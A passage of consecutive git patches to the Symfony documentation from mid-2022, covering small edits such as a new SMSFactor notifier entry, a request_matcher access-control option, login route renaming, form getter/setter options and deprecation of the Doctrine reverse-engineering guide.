 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup.rst b/setup.rst
index e0b755c382c..4c9d2415a24 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version='6.0.*' --webapp
+    $ symfony new my_project_directory --version="6.0.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version='6.0.*'
+    $ symfony new my_project_directory --version="6.0.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -273,7 +273,7 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version='5.4.*'
+    $ symfony new my_project_directory --version="5.4.*"
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:

From 80a0506862585fb20f8f82b633c6ea966eb3d148 Mon Sep 17 00:00:00 2001
From: Thibault Buathier <thibault.buathier@gmail.com>
Date: Mon, 20 Jun 2022 18:29:46 +0200
Subject: [PATCH 3340/7107] [Notifier] [SMSFactor] add docs

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 170fe6d334a..cedfd45c845 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -89,6 +89,7 @@ Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_
 Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
+SMSFactor       ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
 Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
@@ -97,6 +98,10 @@ Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@defa
 Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
 
+.. versionadded:: 6.2
+
+    The SMSFactor integration was introduced in Symfony 6.2.
+
 .. versionadded:: 6.1
 
     The 46elks, OrangeSms, KazInfoTeh and Sendberry integrations were introduced in Symfony 6.1.

From a4dd1c5e815d89f9e783a82abb98b52edbea5465 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 24 Jun 2022 22:39:37 +0200
Subject: [PATCH 3341/7107] Remove obsolete versionadded directive

---
 http_client.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f0800d22cb5..a72e682cd1a 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -813,10 +813,6 @@ in your requests::
 
 This setting won’t affect other clients.
 
-.. versionadded:: 5.2
-
-    The ``extra.trace_content`` option was introduced in Symfony 5.2.
-
 Performance
 -----------
 

From b03c44c396c99ca6b37c5f6b237b7e26ffe67413 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 25 Jun 2022 08:51:06 +0200
Subject: [PATCH 3342/7107] Add more clarity about things that cannot be done
 while working on a bug fix patch

---
 contributing/code/maintenance.rst | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 7a6edd9b788..45ae39c8b12 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -11,8 +11,6 @@ acceptable changes.
 * New unit tests cover the bug fix;
 * The current buggy behavior is not widely used as a "feature".
 
-While working on a bug fix, don't refactor the code or introduce new classes.
-
 .. note::
 
     When documentation (or PHPDoc) is not in sync with the code, code behavior
@@ -46,7 +44,8 @@ a case by case basis:
 * **Tests**: Tests that increase the code coverage can be added.
 
 The following changes are **generally not accepted** in a patch version, except
-on a case by case basis:
+on a case by case basis (mostly when this is related to fixing a security
+issue):
 
 * **Performance improvement**: Performance improvement should only be accepted
   if the changes are local (located in one class) and only for algorithmic
@@ -58,6 +57,16 @@ on a case by case basis:
   existing code base, if they are not too invasive, and if merging them into
   higher branches would not lead to complex branch merging.
 
+* **Adding new classes or non private methods**: While working on a bug fix,
+  never introduce new classes or public/protected methods (or global
+  functions).
+
+* **Adding configuration options**: Introducing new configuration options must
+  never allowed.
+
+* **Adding new deprecations**: After a version reaches stability, new
+  deprecations cannot be added anymore.
+
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a
 patch version:

From c8d11fa16b0031c801d83b732fcfe7ac33402a0d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Jun 2022 09:00:00 +0200
Subject: [PATCH 3343/7107] Minor tweak

---
 contributing/code/maintenance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 45ae39c8b12..04740ce8c6e 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -61,7 +61,7 @@ issue):
   never introduce new classes or public/protected methods (or global
   functions).
 
-* **Adding configuration options**: Introducing new configuration options must
+* **Adding configuration options**: Introducing new configuration options is
   never allowed.
 
 * **Adding new deprecations**: After a version reaches stability, new

From 50075b161567f460bbea73c932c1a748dd3c7716 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Deuchnord?= <jerome@deuchnord.fr>
Date: Mon, 27 Jun 2022 15:52:05 +0200
Subject: [PATCH 3344/7107] Fix mistake about the reason of the limitation of
 the timestamp in 32bit systems

---
 reference/forms/types/options/_date_limitation.rst.inc | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/options/_date_limitation.rst.inc b/reference/forms/types/options/_date_limitation.rst.inc
index fc9a2731af7..4e5b1be4c87 100644
--- a/reference/forms/types/options/_date_limitation.rst.inc
+++ b/reference/forms/types/options/_date_limitation.rst.inc
@@ -1,7 +1,7 @@
 .. caution::
 
     If ``timestamp`` is used, ``DateType`` is limited to dates between
-    Fri, 13 Dec 1901 20:45:54 GMT and Tue, 19 Jan 2038 03:14:07 GMT on 32bit
-    systems. This is due to a `limitation in PHP itself`_.
+    Fri, 13 Dec 1901 20:45:54 UTC and Tue, 19 Jan 2038 03:14:07 UTC on 32bit
+    systems. This is due to an integer overflow bug in 32bit systems known as the `Year 2038 problem`_.
 
-.. _limitation in PHP itself: https://www.php.net/manual/en/function.date.php#refsect1-function.date-changelog
+.. _Year 2038 problem: https://en.wikipedia.org/wiki/Year_2038_problem

From 3d3f08f13438eb12d9df32020c4686a46740a7b7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Jun 2022 12:46:02 +0200
Subject: [PATCH 3345/7107] Add a versionadded directive

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 7c94d2e40e8..0e476113907 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -113,6 +113,11 @@ Sendinblue          ``composer require symfony/sendinblue-mailer``
 MailPace            ``composer require symfony/mailpace-mailer``
 ==================  ==============================================
 
+.. versionadded:: 6.2
+
+    The ``MailPace`` integration was introduced in Symfony 6.2 (in previous
+    Symfony versions it was called ``OhMySMTP``).
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:

From 9ed3b062c82098e8cfb14534a1427de6c0be21dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Jun 2022 13:39:36 +0200
Subject: [PATCH 3346/7107] [Doctrine] Deprecate the reverse engineering docs

---
 doctrine/reverse_engineering.rst | 115 ++-----------------------------
 1 file changed, 7 insertions(+), 108 deletions(-)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index ddce4050a82..a80d6fa91c0 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -4,114 +4,13 @@
 How to Generate Entities from an Existing Database
 ==================================================
 
-When starting work on a brand new project that uses a database, two different
-situations can occur. In most cases, the database model is designed
-and built from scratch. Sometimes, however, you'll start with an existing and
-probably unchangeable database model. Fortunately, Doctrine comes with a bunch
-of tools to help generate model classes from your existing database.
+.. caution::
 
-.. note::
+    The ``doctrine:mapping:import`` command used to generate Doctrine entities
+    from existing databases was deprecated by Doctrine in 2019 and it's no
+    longer recommended to use it.
 
-    As the `Doctrine tools documentation`_ says, reverse engineering is a
-    one-time process to get started on a project. Doctrine is able to convert
-    approximately 70-80% of the necessary mapping information based on fields,
-    indexes and foreign key constraints. Doctrine can't discover inverse
-    associations, inheritance types, entities with foreign keys as primary keys
-    or semantical operations on associations such as cascade or lifecycle
-    events. Some additional work on the generated entities will be necessary
-    afterwards to design each to fit your domain model specificities.
+    Instead, you can use the ``make:entity`` command from `Symfony Maker Bundle`_
+    to quickly generate the Doctrine entities of your application.
 
-This tutorial assumes you're using a simple blog application with the following
-two tables: ``blog_post`` and ``blog_comment``. A comment record is linked
-to a post record thanks to a foreign key constraint.
-
-.. code-block:: sql
-
-    CREATE TABLE `blog_post` (
-      `id` bigint(20) NOT NULL AUTO_INCREMENT,
-      `title` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
-      `content` longtext COLLATE utf8_unicode_ci NOT NULL,
-      `created_at` datetime NOT NULL,
-      PRIMARY KEY (`id`)
-    ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
-    CREATE TABLE `blog_comment` (
-      `id` bigint(20) NOT NULL AUTO_INCREMENT,
-      `post_id` bigint(20) NOT NULL,
-      `author` varchar(20) COLLATE utf8_unicode_ci NOT NULL,
-      `content` longtext COLLATE utf8_unicode_ci NOT NULL,
-      `created_at` datetime NOT NULL,
-      PRIMARY KEY (`id`),
-      KEY `blog_comment_post_id_idx` (`post_id`),
-      CONSTRAINT `blog_post_id` FOREIGN KEY (`post_id`) REFERENCES `blog_post` (`id`) ON DELETE CASCADE
-    ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
-Before diving into the recipe, be sure your database connection parameters are
-correctly set up in the ``.env`` file (or ``.env.local`` override file).
-
-The first step towards building entity classes from an existing database
-is to ask Doctrine to introspect the database and generate the corresponding
-metadata files. Metadata files describe the entity class to generate based on
-table fields.
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:mapping:import "App\Entity" annotation --path=src/Entity
-
-This command line tool asks Doctrine to introspect the database and generate
-new PHP classes with annotation metadata into ``src/Entity``. This generates two
-files: ``BlogPost.php`` and ``BlogComment.php``.
-
-.. tip::
-
-    It's also possible to generate the metadata files into XML or eventually into YAML:
-
-    .. code-block:: terminal
-
-        $ php bin/console doctrine:mapping:import "App\Entity" xml --path=config/doctrine
-
-    In this case, make sure to adapt your mapping configuration accordingly:
-
-    .. code-block:: yaml
-
-        # config/packages/doctrine.yaml
-        doctrine:
-            # ...
-            orm:
-                # ...
-                mappings:
-                    App:
-                        is_bundle: false
-                        type: xml # "yml" is marked as deprecated for doctrine v2.6+ and will be removed in v3
-                        dir: '%kernel.project_dir%/config/doctrine'
-                        prefix: 'App\Entity'
-                        alias: App
-
-Generating the Getters & Setters or PHP Classes
------------------------------------------------
-
-The generated PHP classes now have properties and annotation metadata, but they
-do *not* have any getter or setter methods. If you generated XML or YAML metadata,
-you don't even have the PHP classes!
-
-To generate the missing getter/setter methods (or to *create* the classes if necessary),
-run:
-
-.. code-block:: terminal
-
-    // generates getter/setter methods for all Entities
-    $ php bin/console make:entity --regenerate App
-
-    // generates getter/setter methods for one specific Entity
-    $ php bin/console make:entity --regenerate "App\Entity\Country"
-
-.. note::
-
-    If you want to have a OneToMany relationship, you will need to add
-    it manually into the entity (e.g. add a ``comments`` property to ``BlogPost``)
-    or to the generated XML or YAML files. Add a section on the specific entities
-    for one-to-many defining the ``inversedBy`` and the ``mappedBy`` pieces.
-
-The generated entities are now ready to be used. Have fun!
-
-.. _`Doctrine tools documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/tools.html#reverse-engineering
+.. _`Symfony Maker Bundle`: https://symfony.com/bundles/SymfonyMakerBundle/current/index.html

From f0432c48a4e532aaf28c4baad6d4baa44ae14c58 Mon Sep 17 00:00:00 2001
From: Tristan Pouliquen <tristan.pouliquen@yahoo.fr>
Date: Thu, 16 Dec 2021 18:10:33 +0100
Subject: [PATCH 3347/7107] [Security] Reference the new request_matcher option

---
 security.rst                |  6 ++++++
 security/access_control.rst | 16 ++++++++++++++++
 2 files changed, 22 insertions(+)

diff --git a/security.rst b/security.rst
index afdc6db23c4..5d0ac15e137 100644
--- a/security.rst
+++ b/security.rst
@@ -2119,6 +2119,12 @@ would match ``/admin/foo`` but would also match URLs like ``/foo/admin``.
 
 Each ``access_control`` can also match on IP address, hostname and HTTP methods.
 It can also be used to redirect a user to the ``https`` version of a URL pattern.
+
+.. versionadded:: 6.1
+
+    Since Symfony 6.1, an access control rule can also be directly configured by passing a service
+    implementing `RequestMatcherInterface` through the `request_matcher` option.
+
 See :doc:`/security/access_control`.
 
 .. _security-securing-controller:
diff --git a/security/access_control.rst b/security/access_control.rst
index a19faee19ba..c23212bed8c 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -52,6 +52,9 @@ Take the following ``access_control`` entries as an example:
                 - { path: '^/admin', roles: ROLE_USER_IP, ips: '%env(TRUSTED_IPS)%' }
                 - { path: '^/admin', roles: ROLE_USER_IP, ips: [127.0.0.1, ::1, '%env(TRUSTED_IPS)%'] }
 
+                # Request matchers can be used to define access control rules
+                - { roles: ROLE_USER, request_matcher: App\Security\RequestMatcher\MyRequestMatcher }
+
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
@@ -82,6 +85,9 @@ Take the following ``access_control`` entries as an example:
                     <ip>::1</ip>
                     <ip>%env(TRUSTED_IPS)%</ip>
                 </rule>
+
+                <!-- Request matchers can be used to define access control rules -->
+                <rule role="ROLE_USER" request-matcher="App\Security\RequestMatcher\MyRequestMatcher"/>
             </config>
         </srv:container>
 
@@ -127,8 +133,18 @@ Take the following ``access_control`` entries as an example:
                 ->roles(['ROLE_USER_IP'])
                 ->ips(['127.0.0.1', '::1', '%env(TRUSTED_IPS)%'])
             ;
+
+            // Request matchers can be used to define access control rules
+            $security->accessControl()
+                ->roles(['ROLE_USER'])
+                ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher')
+            ;
         };
 
+.. versionadded:: 6.1
+
+    Support for access control rule definition based on a RequestMatcher was introduced in Symfony 6.1.
+
 For each incoming request, Symfony will decide which ``access_control``
 to use based on the URI, the client's IP address, the incoming host name,
 and the request method. Remember, the first rule that matches is used, and

From f46f149c577545e3f3312fc0b4fb762b33c282a1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Jun 2022 16:00:27 +0200
Subject: [PATCH 3348/7107] Tweaks

---
 security.rst                |  6 +-----
 security/access_control.rst | 17 +++++++++--------
 2 files changed, 10 insertions(+), 13 deletions(-)

diff --git a/security.rst b/security.rst
index 5b92c8fde89..4f0ee3de4fa 100644
--- a/security.rst
+++ b/security.rst
@@ -2117,11 +2117,7 @@ would match ``/admin/foo`` but would also match URLs like ``/foo/admin``.
 
 Each ``access_control`` can also match on IP address, hostname and HTTP methods.
 It can also be used to redirect a user to the ``https`` version of a URL pattern.
-
-.. versionadded:: 6.1
-
-    Since Symfony 6.1, an access control rule can also be directly configured by passing a service
-    implementing `RequestMatcherInterface` through the `request_matcher` option.
+For more complex needs, you can also use a service implementing ``RequestMatcherInterface``.
 
 See :doc:`/security/access_control`.
 
diff --git a/security/access_control.rst b/security/access_control.rst
index b256e824ceb..e658e2c844e 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -28,7 +28,12 @@ options are used for matching:
 * ``ip`` or ``ips``: netmasks are also supported (can be a comma-separated string)
 * ``port``: an integer
 * ``host``: a regular expression
-* ``methods``: one or many methods
+* ``methods``: one or many HTTP methods
+* ``request_matcher``: a service implementing ``RequestMatcherInterface``
+
+.. versionadded:: 6.1
+
+    The ``request_matcher`` option was introduced in Symfony 6.1.
 
 Take the following ``access_control`` entries as an example:
 
@@ -52,7 +57,7 @@ Take the following ``access_control`` entries as an example:
                 - { path: '^/admin', roles: ROLE_USER_IP, ips: '%env(TRUSTED_IPS)%' }
                 - { path: '^/admin', roles: ROLE_USER_IP, ips: [127.0.0.1, ::1, '%env(TRUSTED_IPS)%'] }
 
-                # Request matchers can be used to define access control rules
+                # for custom matching needs, use a request matcher service
                 - { roles: ROLE_USER, request_matcher: App\Security\RequestMatcher\MyRequestMatcher }
 
     .. code-block:: xml
@@ -86,7 +91,7 @@ Take the following ``access_control`` entries as an example:
                     <ip>%env(TRUSTED_IPS)%</ip>
                 </rule>
 
-                <!-- Request matchers can be used to define access control rules -->
+                <!-- for custom matching needs, use a request matcher service -->
                 <rule role="ROLE_USER" request-matcher="App\Security\RequestMatcher\MyRequestMatcher"/>
             </config>
         </srv:container>
@@ -134,17 +139,13 @@ Take the following ``access_control`` entries as an example:
                 ->ips(['127.0.0.1', '::1', env('TRUSTED_IPS')])
             ;
 
-            // Request matchers can be used to define access control rules
+            // for custom matching needs, use a request matcher service
             $security->accessControl()
                 ->roles(['ROLE_USER'])
                 ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher')
             ;
         };
 
-.. versionadded:: 6.1
-
-    Support for access control rule definition based on a RequestMatcher was introduced in Symfony 6.1.
-
 For each incoming request, Symfony will decide which ``access_control``
 to use based on the URI, the client's IP address, the incoming host name,
 and the request method. Remember, the first rule that matches is used, and

From bf9e245ea55ed3b0565dc5e58393265ff8374287 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sun, 12 Jun 2022 17:57:21 +0200
Subject: [PATCH 3349/7107] Update questionhelper.rst

hello,

when running the example as it is, a deprecation message is shown (i'm on PHP 8.1.6). the deprecation message says that ``trim(): Passing null to parameter #1 ($string) of type string is deprecated``.
what if we add a normalizer that returns an empty string when the entered value is `null` otherwise returns the user's intial input.  with this suggestion, the example works great
---
 components/console/helpers/questionhelper.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index d6cdb7c67ab..664f1b0d1df 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -384,6 +384,9 @@ You can also use a validator with a hidden question::
         $helper = $this->getHelper('question');
 
         $question = new Question('Please enter your password');
+        $question->setNormalizer(function ($value) {
+            return null === $value ? '' : $value;
+        });
         $question->setValidator(function ($value) {
             if (trim($value) == '') {
                 throw new \Exception('The password cannot be empty');

From a4dd8e2e960bc2b5a2b8129bad1997cf572ab315 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Jun 2022 17:51:34 +0200
Subject: [PATCH 3350/7107] Tweaks

---
 components/console/helpers/questionhelper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 664f1b0d1df..e736e288fb4 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -385,10 +385,10 @@ You can also use a validator with a hidden question::
 
         $question = new Question('Please enter your password');
         $question->setNormalizer(function ($value) {
-            return null === $value ? '' : $value;
+            return $value ?? '';
         });
         $question->setValidator(function ($value) {
-            if (trim($value) == '') {
+            if ('' === trim($value)) {
                 throw new \Exception('The password cannot be empty');
             }
 

From 571647d4300db6a91950178c32d2191716a8b323 Mon Sep 17 00:00:00 2001
From: Nic Wortel <nic@nicwortel.nl>
Date: Wed, 29 Jun 2022 19:07:27 +0200
Subject: [PATCH 3351/7107] Document the Requirement constants in routing.rst

---
 routing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/routing.rst b/routing.rst
index e191152d552..555d1cbd20a 100644
--- a/routing.rst
+++ b/routing.rst
@@ -772,6 +772,12 @@ URL                       Route          Parameters
 ``/blog/my-first-post``   ``blog_show``  ``$slug`` = ``my-first-post``
 ========================  =============  ===============================
 
+.. tip::
+
+    The :class:`Symfony\\Component\\Routing\\Requirement\\Requirement` enum
+    contains a collection of commonly used regular-expression constants such as
+    digits, dates and UUIDs which can be used as route parameter requirements.
+
 .. tip::
 
     Route requirements (and route paths too) can include

From 240aeb519d7b7cdd79febd05e33063512241d34c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 30 Jun 2022 09:50:24 +0200
Subject: [PATCH 3352/7107] use a consistent route name for the login form

---
 security.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/security.rst b/security.rst
index 5d55d357cd3..7cd752f9cde 100644
--- a/security.rst
+++ b/security.rst
@@ -683,7 +683,7 @@ First, create a controller for the login form:
 
     class LoginController extends AbstractController
     {
-        #[Route('/login', name: 'login')]
+        #[Route('/login', name: 'app_login')]
         public function index(): Response
         {
             return $this->render('login/index.html.twig', [
@@ -706,9 +706,9 @@ Then, enable the form login authenticator using the ``form_login`` setting:
                 main:
                     # ...
                     form_login:
-                        # "login" is the name of the route created previously
-                        login_path: login
-                        check_path: login
+                        # "app_login" is the name of the route created previously
+                        login_path: app_login
+                        check_path: app_login
 
     .. code-block:: xml
 
@@ -725,8 +725,8 @@ Then, enable the form login authenticator using the ``form_login`` setting:
             <config>
                 <!-- ... -->
                 <firewall name="main">
-                    <!-- "login" is the name of the route created previously -->
-                    <form-login login-path="login" check-path="login"/>
+                    <!-- "app_login" is the name of the route created previously -->
+                    <form-login login-path="app_login" check-path="app_login"/>
                 </firewall>
             </config>
         </srv:container>
@@ -741,10 +741,10 @@ Then, enable the form login authenticator using the ``form_login`` setting:
 
             $mainFirewall = $security->firewall('main');
 
-            // "login" is the name of the route created previously
+            // "app_login" is the name of the route created previously
             $mainFirewall->formLogin()
-                ->loginPath('login')
-                ->checkPath('login')
+                ->loginPath('app_login')
+                ->checkPath('app_login')
             ;
         };
 
@@ -767,7 +767,7 @@ Edit the login controller to render the login form:
 
       class LoginController extends AbstractController
       {
-          #[Route('/login', name: 'login')]
+          #[Route('/login', name: 'app_login')]
     -     public function index(): Response
     +     public function index(AuthenticationUtils $authenticationUtils): Response
           {
@@ -805,7 +805,7 @@ Finally, create or update the template:
             <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div>
         {% endif %}
 
-        <form action="{{ path('login') }}" method="post">
+        <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
             <input type="text" id="username" name="_username" value="{{ last_username }}"/>
 
@@ -829,7 +829,7 @@ Finally, create or update the template:
 
 The form can look like anything, but it usually follows some conventions:
 
-* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
+* The ``<form>`` element sends a ``POST`` request to the ``app_login`` route, since
   that's what you configured as the ``check_path`` under the ``form_login`` key in
   ``security.yaml``;
 * The username (or whatever your user's "identifier" is, like an email) field has
@@ -942,7 +942,7 @@ be ``authenticate``:
     {# templates/login/index.html.twig #}
 
     {# ... #}
-    <form action="{{ path('login') }}" method="post">
+    <form action="{{ path('app_login') }}" method="post">
         {# ... the login fields #}
 
         <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">

From be84b5d5889e0035f092a41142912a7e4d9653b1 Mon Sep 17 00:00:00 2001
From: Matthias Pigulla <mp@webfactory.de>
Date: Tue, 28 Jun 2022 21:38:48 +0000
Subject: [PATCH 3353/7107] Add `getter` and `setter` in the section on basic
 form options

---
 reference/forms/types/form.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index b38fd5ac5b8..b2314fe8bd2 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -76,6 +76,20 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/form_attr.rst.inc
 
+``getter``
+~~~~~~~~~~
+
+**type**: ``callable`` **default**: ``null``
+
+When provided, this callable will be invoked to read the value from
+the underlying object that will be used to populate the form field.
+
+More details are available in the section on :doc:`/form/data_mappers`.
+
+.. versionadded:: 5.2
+
+    Form mapping callbacks were added in Symfony 5.2.
+
 .. include:: /reference/forms/types/options/help.rst.inc
 
 .. include:: /reference/forms/types/options/help_attr.rst.inc
@@ -112,6 +126,20 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/required.rst.inc
 
+``setter``
+~~~~~~~~~~
+
+**type**: ``callable`` **default**: ``null``
+
+When provided, this callable will be invoked to map the form value
+back to the underlying object.
+
+More details are available in the section on :doc:`/form/data_mappers`.
+
+.. versionadded:: 5.2
+
+    Form mapping callbacks were added in Symfony 5.2.
+
 .. include:: /reference/forms/types/options/trim.rst.inc
 
 .. include:: /reference/forms/types/options/validation_groups.rst.inc

From 173f2a927fd8fd46936a5beefab2c855b546f19b Mon Sep 17 00:00:00 2001
From: richardmiller <93760858+richardmiller@users.noreply.github.com>
Date: Fri, 1 Jul 2022 15:49:54 +0100
Subject: [PATCH 3354/7107] Add missing colon before code example

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a63dc85cc2a..a8197845815 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -546,7 +546,7 @@ in the service configuration. You wire up only the difficult arguments,
 Symfony takes care of the rest.
 
 You can also use the ``#[Autowire]`` parameter attribute to instruct the autowiring
-logic about those arguments:
+logic about those arguments::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;

From 8b85a3d216d5cc053d18b3223f0ab910ce326c22 Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 3 Jul 2022 16:44:32 +0200
Subject: [PATCH 3355/7107] [Automated Tests] Update phpunit_bridge.rst

update sdn sensitive annotation.
---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index bfc6eaf0634..934c425d368 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -638,7 +638,7 @@ constraint to test the validity of the email domain::
         }
     }
 
-In order to avoid making a real network connection, add the ``@dns-sensitive``
+In order to avoid making a real network connection, add the ``@group dns-sensitive``
 annotation to the class and use the ``DnsMock::withMockedHosts()`` to configure
 the data you expect to get for the given hosts::
 

From 5b31381485801581255532353c877db458d68803 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Jul 2022 12:46:30 +0200
Subject: [PATCH 3356/7107] Add the versionadded directive

---
 routing.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/routing.rst b/routing.rst
index 555d1cbd20a..6351b5d87d6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -778,6 +778,10 @@ URL                       Route          Parameters
     contains a collection of commonly used regular-expression constants such as
     digits, dates and UUIDs which can be used as route parameter requirements.
 
+    .. versionadded:: 6.1
+
+        The ``Requirement`` enum was introduced in Symfony 6.1.
+
 .. tip::
 
     Route requirements (and route paths too) can include

From f17fe1b645dd297e4f764646fc68c5cef4e584d1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Jul 2022 13:15:36 +0200
Subject: [PATCH 3357/7107] Minor tweak

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index cedfd45c845..1fae29e89d8 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -89,7 +89,7 @@ Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_
 Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
-SMSFactor       ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
+SMSFactor       ``symfony/sms-factor-notifier``       ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
 Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``

From 13ab7f66c8d6537f04b5825ab2296259ad3a42db Mon Sep 17 00:00:00 2001
